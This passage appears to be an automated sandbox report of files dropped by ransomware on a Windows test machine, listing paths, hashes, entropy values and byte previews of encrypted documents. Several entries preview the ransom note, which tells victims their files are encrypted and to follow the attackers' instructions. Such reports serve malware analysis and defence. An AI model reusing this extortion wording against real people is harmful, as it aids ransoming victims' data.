                        Preview: .....X8....-...<.p{.....Z\. A....5..p......G...KM7T...;...<.v.T..&.*F./..H..........t..T......U..ua.S].c:..&.NC....~.{..gq..u.I~G.X....&..`.._.._0......\.l.............._..@aj.H..3..x:|....G?j.n.....tf..:T....q.......6.......... ..0n.9....oh........T.".d...N\.9h.lD.|.;t......y...i?..,..Vi....u...'Q.4..o........sR...$..8.P...>....S...8:....a[....._?>.....c.....2].......PwwQ..?...VC..O8..W.=.n.e........&..U........c.i..P...h.5L....jgTx-....'..@.;.C..uU2F..a.7#..W..io.6....J..........I........g.<G.S.3...EM.m|...<...*.Qn..5..J...h....C%....l21..../$~.Y8..^...%.$..i..%..L|r...lc....Q.[..7.y...rd.n_...p...03.p..q..+y...'E.u....!.f... .MH}.7A...,.T....\d].]...u.....:<...ej.<..+>...x..|p.(.R7qt....p9..*..?..t!4a.I5.Km.p..f...z.g..R....&..3...J....YI~..;.....a.DJ(tK..9u.....EO...sa~.z.z$...I......8.....#..sX...>.......Z.#..y..v,.".6..&6..`.g...l.>.).D.B.K.1[J..>*..|.B.P......E....o&#k!...o:....88O..N..|.G.../9."\R.c.."..T.A......
                        C:\Users\user\Documents\BUFZSQPCOH\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\BWDRWEEARI.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.851160577932306
                        Encrypted:false
                        SSDEEP:24:tpd7U3T6f5EPG/NIfR3TiVZWmyfdxnnfBT946e25vB5aNbZuutrr5nIcg:10uRTFEjiSnfBJ46Vp5eTr5Ij
                        MD5:49EAD17343888625525E483F6DFEF9A8
                        SHA1:F807B7D2C1D581C3C598E0C187B731214D652304
                        SHA-256:5E3696BBE65DBAC1DD4F93471DCC1CF27CA1714281287AF60F482B7F0FD3D5FA
                        SHA-512:91182A13130774079B008A647A56D0F05D6DB7EF152FC387043DE382FD6617CC25F9D7B283365F85A7F0FCB747CE93FD2457B9D016DA27BBB55231447930845F
                        Malicious:false
                        Preview: .cn...)$qR......Q....p..O.k...,...y..J..2a...1.C.ut...4.i....*..z..0..t.Szv....u..~.!.~w~.c)c..1p....:Z...v..^?.#...G.|.$......)E....j8-.wJ#j8....5.....X..R....7...... ........s n..-...bf9.$Q.(.}..[.6.!(..V.R...e..N.G.#..a;.< 7.9..YuK..@..M.J...3.y.y.l.K..0...MS].....=.1p.C.F..:px...k./!.....0.f....c....o......UK3x..o.g...J...E..r.Q.6..!..s.E..).-.q........v...x..(...b./.X....T.{IMK|...M.N...[F.wP....j..zm* .......[e'|..y..p.VT..U .......>.u3x3L.i.O..a...'..w8_.1r..B....v...$G.......q\.~R..WO<....".Ww....)....~;;....a...6o2^;yOM}Y..[..)(..u&d...3.K.....d&`"...5'~pv...{..."...P.g[...h...A4... .y.)..D..J.l..*....t.;....d{6.B9..B.v!.E..R.:..3ZXU..]....F.z...'{n.a7..[..d....sT2;..pJ.8h.L.%R...X.o.V.8b.6+4.....,I:O/..:<....}..c..S..(.6M3z.....h.~6^....R...f..P&._}....j$z....K2Dq`>._.r.`...3.0.p.k.`...H.N&..v.,.S1wp..XA.J...&.h.....E...S....N.+y;D..".&....d..#.|......6...!...p .......$5....A....g>R.....B.]../P5..$s....`wOv........{
                        C:\Users\user\Documents\BWDRWEEARI.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8586010024663535
                        Encrypted:false
                        SSDEEP:24:swqHDL2lzamZ/hTMylVXv38kGwkEdnXB6p4BvuuVGqouutrGmn7:VqjLSVhTrlVX6Edx6RuQqqGmn7
                        MD5:24344C75AD43C4B5D8886B4036CDBB7F
                        SHA1:674DE670659442804975C5066E7E652379D83961
                        SHA-256:D79784A67E937F37F3CEDDFF48B3F5D40360EC4AE6CC384351A019E9FA0403AE
                        SHA-512:5199A5DA8B77B79EC73EDEC9A059DFCC70C31E589C557107988ED659F3052EB0E0E590AABF5A4B66FF97FB53B5A5D0D89BCDD95D805A19AC57C90379F15BC32D
                        Malicious:false
                        Preview: p.....^..'L.B..d..K.V.}P...5.A.....N)..>........_I..l^....>.=+....|%XG..faa~....d..E...r....t.)2..yY...GT.._w ........J._....6`...R..CG..WWeP..F$..9.h..q..0.l..qt..SI..............{.|.@v.(.3.HP.....TLY..s...I.qm....I...K...'...`1 +.v.,...y.n7.Q.2..cyfd...@.I.....+c...|.p*E:.j.r....e...1.+.b'.......s-..5.D.{S..t]..."].R.E...?v].N.....<.*D.J..."..-Q....F.>.v..i.v.Y..^. +...H..]."8....5...B.c....i.>....+..|.{..J.N....p....,LYG....U~...[.V.....|..L-.w......%..f.9w4.i..4\..8.<.J..#.wW......y......T.{Z.L.L.57~.... ....?.?].m..1.[r.8.0...OM.i.x....&.|9%.......&...".bf........S)k.,...........-....Xc...I.G.*y#......z.u[.....l...... ....G....... s........6H.;...."...L..._.........D",~&.DpBu..i..j...(...6..//..G.Q2].e...n...t.p..~..2.y..S.n2...~.LK......B...w....I+..A......k...9.`".....3TM.cH..G...a_. ...8......w1....k.z.#CW...a..s\..t..f..+.............I7?*V&..../.....W3.b./...o;.Me.L.k.....<t..M.9.w.C\.OF.m....B.#.s{.(..sz|.u.\...T..}..G...Srk..2nU&.
                        C:\Users\user\Documents\BWDRWEEARI\BWDRWEEARI.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8499971466675875
                        Encrypted:false
                        SSDEEP:24:DJEuT2aWU9BKaCwQM2Gty768jWH0Zo6KgvI4yeuutrPWh:DJEuTrl72Z768jWUZo6Kwfyks
                        MD5:E4B845BED48AF917B8DF895A48BBE432
                        SHA1:708E1860C63A647184C7DCAF38BB5279013DC1D3
                        SHA-256:65539E60E9EF95B28252831858EC955159C7251AFCF79BE65FF69956C31D8DCA
                        SHA-512:8DF6D066D9E52B9152F24048AF846FA4E360D7EBAB9E82413FFA2560DF1A0AA71BCFC449C5AD971CA32574B11EECDD62C6631DF7B67736C4352DCBA7F4529A09
                        Malicious:false
                        Preview: ..GH!.F....(.2^.......d.J,#..+G.+.f.y..:7\5h...c.z...ea..r.g:...~.0..X6.j}..4.`...L......r.......`._...[.:..).{...N./..!..f..j.-.N..o..-.O,}'...*..!07.m.U.I.T....T.(....,.b.`.>.$K.F.%C.v..o.D'.r._.....n..A..5.tw..>p$......N.>3c9.ZZ1,....eV..hplS.n.Z..{?.....^.M...J....|e.h.......D+..5.?..J.......&U..x. ..y..O......b.Q....'...=.=Wd..+G..bS. .p. k...t[.*....82..v..y.1.>.F....(.:.O...#>mR......!........1X...6.|^.9m|;].vn$..]4...BG...<V...K........>.'...L..4.-.....]e4.z.`[.......Q.o..^M..V.'dR\.h<Ps].>;5w......[....<.b.R>.kCW.0x=)....<....v..%n5.nZ.?5j....^K~...cf....6.&..J.%....C....Z"L....c.['....E....MI.\<.f~MS.2..`..!lN.#...j.J.PIN.5..v.gyX?.5.%j.....nz....1tq.xv.$...k...&b^......}O=.^W^h...>....3z.=X.....}./...-....>..U....'..Q.O..Hy..4........?.4?cM|.rV.....C.....I.SH4..........P...../.2!..s.-........./...:h.......Z.I.Q...>....\......|....k>...%{R./b.....c....0.....g%......_...\U'...I...K..u...%..;@..!...W..-{.!...$.......0*]8..%i."d|.?VD...
                        C:\Users\user\Documents\BWDRWEEARI\ERWQDBYZVW.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8295796129686925
                        Encrypted:false
                        SSDEEP:24:x8enwz7jgpkSsJZFDjdEV//h67uiIXjPFo7NCBly4EHHuutrHLBB:xJw7isJZlBGnw27EH
                        MD5:0126A30323AD660ADBABDB79107FF05F
                        SHA1:AD1DBF568DEE1BF43EF14825A61F4C2F4819C8C9
                        SHA-256:B8BA3B31CC79C749D7AC6A1737A0CD63935A26FCAEC0C2740CF512D2B70FC712
                        SHA-512:650C7F7F185233EDD1F117821848DDFD86B7CF3B1809254549E4BEEB8342F8804A9D7FF1C95C77067B3B205DD8E68C900DB5B879B09BA626C5B8ECC17F5B67BC
                        Malicious:false
                        Preview: .\..;f..W....3.$6..z7..L..{....#..s...D....)4...w..A..t....v.N.w|X....)[.......#N..p_...-.%....*'..l""CMx6.P.0....J..5.m......N..V..U... .%).Z.s..G.[..64...]Y.3/.....J._../d...r..&..A.......G...0.>..$.=....$o.r..`..'x{......&.4.'v"J,...k.n...)..:..0q..'...]|D..[.."w......9...6@..G..\.....*R...,3WU..U.~).Z.n.F9.^......|\.8...Aj...M.r.R.\..j..=..wy..d..l....W.......0fT...>Wu..s$....]y.K..2hV...p.#...G#...(....G.m"4_z.YeU...A... ...#(....Vm...w....a......E8..K.G..n{N...c......>$2f..._B..C.Z.B.{=....Rk#a....Y..I....L6...L..[...u..m8..:.......%....?9.....b...A.0..wj._......<..i....g.|....Vu.u0.....=.!.Z...4.....E#..Qj../....y..\.ZF"9......."~...z.e......X.c....\.M|.5..I....h...../.L.X.e.<.c..V.na...x_Q.H....'~v.!}.Sz.C._.,z..|.i&=./...B~Zo#-..O...c.)Z...)d...*..).....Yv..6.6.*.r<;u..c/F.@.....'.Yj.........t..-]..._..9.4.^.....[S..T[z_...'S...G...E.. v.q$.>*Bp[.>..{u=u/..s.|_.....SYc&......ef..j.^n.O.A. ...$F...7....>..F."......s.;?..B.*...a.2.
                        C:\Users\user\Documents\BWDRWEEARI\FAAGWHBVUU.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.844970396281411
                        Encrypted:false
                        SSDEEP:24:LrN2SUYfCE+++RVGWw8zegohy0g7BeBzky4NcrSyDBlHUb1v8MmSuutr+DSD:Lr1U0CA+vTw2L0gtLyAcrSyDz6mY+Ds
                        MD5:F37BA37F86D403F1E4029DCEA4BCFB5E
                        SHA1:CC4BE8E37F6D0AB9B0F78832607B8289A72FC649
                        SHA-256:D4DF7AA06402F5EACA8170DF9F6A6F9E035BAE90DC1E49B813306866FCA39FAA
                        SHA-512:478B3216902C6CC1F478547817565CA9AA79A3AF96FA4A5948679C8E2C44C63C6622870F78F96D5DA600E2DFB823C5A0FFC53A7AEEC0C4E6152437C0E61901F0
                        Malicious:false
                        Preview: $..hm......I.Y}.u.G...=.x..c~7.["s+..&P..q.4.`.....?,.]......V!.J.q.....C.........."[....5..<W."...4.B._ZO...s...3.L.5.\.mBU.)/..m.W.....w..$G..o......0.{.... .F=z.qZ......6j.Fq.;.....P..I.......N..9.h...V..b.tc....m......:.>+B.F..$.:i....*..[},Lh.D..q,^.H[.p1.3.k.hy2^..{=k.?D@...O.~....45..o...>N.=.]...O....g!..9...w..&+..^g..GV....0:.$K.\.>..z.e..s..4JW...-ajk.....,.:...D(..y....I..n.oq..Q+ .m.r.........I.!....q... <.....X..'..n.p.l0..1..L.cE...~S&....D&d.s.'..R...Z.n...#...xV..@..tNE#.t._G.....N5...d}K..;.F........H..I.......'.....X.Ui..(O.3.u7..`"_... ........n.r.^...:d.!.;.....)(.?..^......Ds...C.../'..........5]............w....|o.M.dHLw...i...\n'Nd...Q.!n>d.x...m..a..h.pdO0.xO(.:..[V.y....+...`..cI....c.C.}..]....:v...!..'J..R.C..;X'../..^..y..O.y...?>>...$.h8../.\s........5.v...oc...j...1......|.>.>_L@&!08e..Fq\..y1&.zX...[.i.1.9.....6867G>a..q..*..L..G.v..D.S7..0Y...':).......O....7...M;Q...E..4#././...C.._..rc"..-
                        C:\Users\user\Documents\BWDRWEEARI\FGAWOVZUJP.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.836978774279727
                        Encrypted:false
                        SSDEEP:24:pZ7mtY3GjQ6VxGcsLSOdfm5W8wijHlKaKheUDXTRWuZuutrEE+:pZcY36VMbSO45Z7lKaKQUDXTESz+
                        MD5:AAE37AE4FA0DB14E740EE0B4CF21FFD6
                        SHA1:D32D91009D36C9B6977532B231046D0DC4B7946D
                        SHA-256:9D35682BFF0216B2ADBB4EF7F7AD53B5D855DF82B81299ABCBAFBD865872C222
                        SHA-512:D81FF2E324F7A1A035BB8DBCBA16C6AD09BCF12289C94FF2A237544EA119FF27EB1B397B947275E62E4EEE4AC8AC5D91DB352FDCB6E900CF5BDDBFEEF83A2D6F
                        Malicious:false
                        Preview: Lkyr......h.........E.T.."..7.....6/...=C..:..t...|,,qj.......A.d`8.~ ^i.N".^...|W#.R.~...X}.2...f.[.v...tX...KS%)...O]h...........4..!@.4i.I!..H.&....w)..z..i..........}....>P..q.q....k.J.I.%...A....y.q..l....b$].d..(a.IJ..IJ.h...."...=YS.Z......L..J.4q...yJ.]..i..id./...l.8.....@.I......w.@.h.#.I..wli..6..q.L4WA...Z.$...6Ep.]4!...Qa2..I.3....s.v.......g.....9a7 V.\.>..6.M..1..._/.....:..O.........^)..ksm7.n..d.wE..^Db..t....E_..>i.]......:..^..W.......HM......_......O..6=.}]9.#...j.M3.^... ..&!W.0g_ ..S.j.w.EYt.*.J.G......l..D%.Y..u&....J.qS'...f....c.f..............J3..d.......)....=...X.........ay.....7......`n..1.....J.>..x../".......!q.Yq...._KM.v...te+.e6*P.....3.O..v.88M,...L....e...o...{:2..g.._...h..P...k.u...,..5....z..k.A...i.-.!...%..w..R.S....r.<c..K .C.../.6Q.....n.......L.....I-.....v`1.p.....%=p.Q..pD@h|.S.R>...z...p....6.P#...tu.h....0....lW."U.B[D@.....l_.Z.P`O......j%...1.....5V.....-jz...k.v.<fV.>...Y.....?.
                        C:\Users\user\Documents\BWDRWEEARI\OVWVVIANZH.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.832291176219439
                        Encrypted:false
                        SSDEEP:24:JSo1L9Cg0HMaGTZCn0mW46EPBm67D5EfdaqYiP6cF4uutrTH:JSwibmCnRphs67FEfdaPjcFaz
                        MD5:A9DF727F539B803BBD45C94EB1128B19
                        SHA1:6047B3A25AAC57B3952C1E615B069B3827691F60
                        SHA-256:3C6D99A4F11B0502849BA70C5E79F2B2B3675ECAD69170F1FDEDC1CE5CAAAFEB
                        SHA-512:0759CE99DF3D5E1A45517382E153815884EDB8EE1468E67B32EEAB9ABACA80544E14D09D70CD51B1EAF82A2F802D602BC9F43B1920236B6B87BFC6401ED69697
                        Malicious:false
                        Preview: ......C.k..?...O0....b&....x.b..m-.....dZSr2y.......93?..|.;.U...A..Q...,w'.s*y.....Q.(o7....f.Y1q>..A..h..}v7....V....!...-...|y..u*....a"......v.....D....u&.t....{d6.....R...w..,n...3.&...6.:..g...,.X..E....D?..*\.k(1.;C......[..Hl.ew..e......he$...m]....hq(E...->X..hS`)[.L....8..v.d*O<. Da...........C..45.....c.4...1x9...y.F%../.%@...Q....B.4A.u........O.....8z.x.{..'...1.UZ.......&.r....6.. .g.&.L...j.z.iU....>.....o...}..^vC...&..b.K...o..................E..xA..d9.*..l*,3lP.h...V........-....qRg..^<*.~sd...9WTF"......K..MY..BE.5.N....N.b~..y.....`.....w...aO.....R.$.....u.Y..<..7R.P{..-.8.\t.%.-...iDUng...[.p.C...[.C. ....KZ.7...iS..... 6B.K..a..aE.Y^Aku...%...ZNX.1.c.'T...\...7.........P<P.I.y..`-.Q$.j.pt..m.i..`Mw..f.O....+`..^a&20..q..,.{...O...!..9. 1...f U!....I.vc..t....;l...-)$..<.. H....d]..r]6...$=v.v.VS..t........$.T.{..$........r.F...KWRP\u.9s.Y.....t.^..Z..q...k.....~..A.%..-.4.P.|...X.r..R.a.@./.....%.D.....I5..Up..+.6_.1FU
                        C:\Users\user\Documents\BWDRWEEARI\WDBWCPEFJW.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.85164442494398
                        Encrypted:false
                        SSDEEP:24:2nrLV23c58EvWV/5xsobqh308BoPAOf33CnYC2yQZzyc3ABCcuutrM2:o3V23oSV/5HbYk8BYfnZzVycQBCeM2
                        MD5:E5C196A48D8E75EB7C44077141ADE71E
                        SHA1:B3EF788B3A5AC457A221A6C89072BC91F6DD2688
                        SHA-256:C1B74AAC656C4D4F5BBF1708E4D88EC3CA99222EDE7BDF6B6CFDE7CA4E318808
                        SHA-512:032B7D45C2FF43DCEEF9FC667956A19349F20C72678DD9119F91F2EB37FC9713A6553F03A12E12E9A6DE856CABABBCB3B133ACD16DE6BF8FDD325ADC26F33CBA
                        Malicious:false
                        Preview: .M.I.g..O<.4t...<..a...6in6...s&_s;#;r..;...>.`4:.D&4.0.?....A....C.y)i`.W.>9Z.Tje..{..f.5.x..U67..V.}..~....%.....J..zM...5H&....,..:..1v....J....5.._.U.Qd[+A...Y.U.qZ.>....C..C@.[.....D.....e.<..E7uW@.AB/..w.....wC...3..XBQ(.A......K....;z"8Xm./{.W..2.G.%...u=.........o.p%(D.q.a\.X..5.(.|......{..&HA..N..........N>c....75..-`SX..."O.....G.d.b..(M...j.Y.O._.....Ej....(j..iG.)`.t.}.su.{.M.... .G..z....m......Db...p..H...k?....`.]...L..L..cD..9.p:z....|B..hif.;2....(..KT. ..AZ>....T.O.nL.$...p.8........... *.k...."Z....^...i2.......f).~.^.$xH.21....TNU.2..d...f.Xi.{.2......d....P..p2.+...l.d.cQ....x.$~6Em.v..a.(....Y.dR{{b.`u...-.........1..yi|5y..],28}. v.....*... ..!.<.....9..M..[...K....{.....%n!#..,`.gO....3.!."".D.V..gfA.q&...../.H.......s6.y.).....~.6...q....w......7#P.h....H...$f.,..".o....F.e.\..i.....:........'nZ..[.JE.+.=.v..S`m.a.&v&....rgJ.w..h3.>.v.s..M`...Z...?..IA..R..)^i.gY..Y....y.....o.dhi^.3.@.K..S..+...F...m..^..
                        C:\Users\user\Documents\BWDRWEEARI\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\BWETZDQDIB.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.852918663607725
                        Encrypted:false
                        SSDEEP:24:U8lRWKIwoSBHji9zrViA401Hik7wpWicPYPkGyfKk8MneyouutrZT+:U8lRWqt2Z4P8GcPYP5yKklehZT+
                        MD5:51FEF3A6C9955726C4F9062809D703E0
                        SHA1:943A185B1F0160CFF0DB74B1D0DD4AFF40E2E9FB
                        SHA-256:CE794500FC46DCFEBF696326C3CD80861112C40254D798803489D08A59373B5E
                        SHA-512:F299AD5A0A81D406E05BC7DA06C21A75FC285B85534DD3C96DA04AF512C197011378B5DCF923FECB77539206C6B53E333FAA87A52E3C81D6AD09781502FC2420
                        Malicious:false
                        Preview: ...'...|t.&tdr.T..t=....#.36.[...P,..#.s.j.!.......Q..+}.O.......:.........g|c..].-?.({>.....6.......$..N..L.n.R...V.....|.....~V.t....C.L.Oy.]...8.n=.. .V4R..h..\R.9.${.....e..n..7a.I?.wX....D/....}..o.s..@0l2..$..:W..2N.{.~'i..}....C.@..|I6.r..G#!...;.{.L.....lP..t.qs.p..w..,...sR%c.`....u....sW..cn......5Y...( ...C_{............vK_..HW..x.|:f..>...WK._.pf..U,b.1i...?+.F...\...[E..t...3.2..q...;.@..."......@..=..}......JV....e.N...h+H...]N9.x*ve._!...(.......iO..%/.Q.......vE.BMo.....F.....I.9../.]*...rtB.j*..q...8......l:PS....NO.H..e..zC..]8).....P...;...-a...."+..F..l..Z.e.........Rh!.G....J.U..N.iFn..3b........)..n.t52.....`.U..A_u.a[.t.=.i.{.....i.|....g........4..9Q..^.q..'.........s..J..&.....3`../Sp..@b..!....Go.olU-.;.kV....l...R.&..O..qPd.'.sz....Ca..?...O...F6G\...X.^.r.@..Q...;..t...xA.Z.k....`z...$X8.#.%...P....1.'...g..p.H...@TF..5u+.G......|......H!..X/.6...%......B..4V......t ..!..\.xP.o..`-...u.....U..$y.(......
                        C:\Users\user\Documents\BWETZDQDIB.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.828931267352967
                        Encrypted:false
                        SSDEEP:24:ywrZ8Xfo1lZ5OSiw+z2qOUWVNJqlOQ2wxBu3AMOj1pnwdtalvuutrEc:ywaXALHi2qOUWVHCOjwHu3Gj15wTyJV
                        MD5:ECC2F303FA045EC576912C075744A5DE
                        SHA1:C8FED39A0E9FE3BF5A81A1074787012CE9BEFB06
                        SHA-256:DB11DF6A274396DA7286DFEE3E50FF7A45B264FCF9511511D7CE9E47E84610D6
                        SHA-512:6D367EFBF2839AE93E9455C8A63517B1FD893C12248A7005EA5069FA0F39139ED1C69CA70AD372B3021A4EB0812F3A5F0A69590F6F7F133D905802ED66F4F74E
                        Malicious:false
                        Preview: d..mW..W5...c..S...M..Z..a...;..q][.....K,..H.Z........L;.Xw.#<e..'.f..3b.U.X(A]....w...E...4.u.r..*....p...>..N........r.O=i.<.....Z<..L1i...r..j..%.c]..8......o...."...<.l.....)..........q.-.....a..........q...7...:^.....g....$.::.G.~..>...*.y.v<.g..L.oz...OQ.M...i..u..ar.3.)k ..6.i.. ..9.%...I8`..z......q.ccG.p...0..t..(U.Y`..b..U.=.yRs.)S..{..:.R.5}.....y.],..~r9.5.N.`..B.N\...K.l.2.*0U.....]..Zk.(....\%........p.K..F.......Q.]...u._a.bU..[...S9......n6@0.....S...A.*..2x..-kT.Pb|........h..P..k....DA..)0&7....j..&.Q..Q...........t....5_.....L*]|1V...^.....4..58.).:.7...R.q..4....W...R..j.f..Q..k..0....]...}#..I&,....p._p......[......r...t.Q".. aG..]!<t..L.w..O.eku.!.......&o.p...(.#xJ....ch.(....b."...Q.....>...q......3?..t`.....:+......s.o...;.WH.V.1..:...w..%..n^.pg.R...w...N....Ik..w...7T...Z.-P..Wn[f2.........epr....)....dE...D........r.t....g..?........y...t..k.....O.:S..*y..=C.0..,..a3...J....Z.{N&.|........Y..S}Y.Y..?J..Q^
                        C:\Users\user\Documents\BWETZDQDIB\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
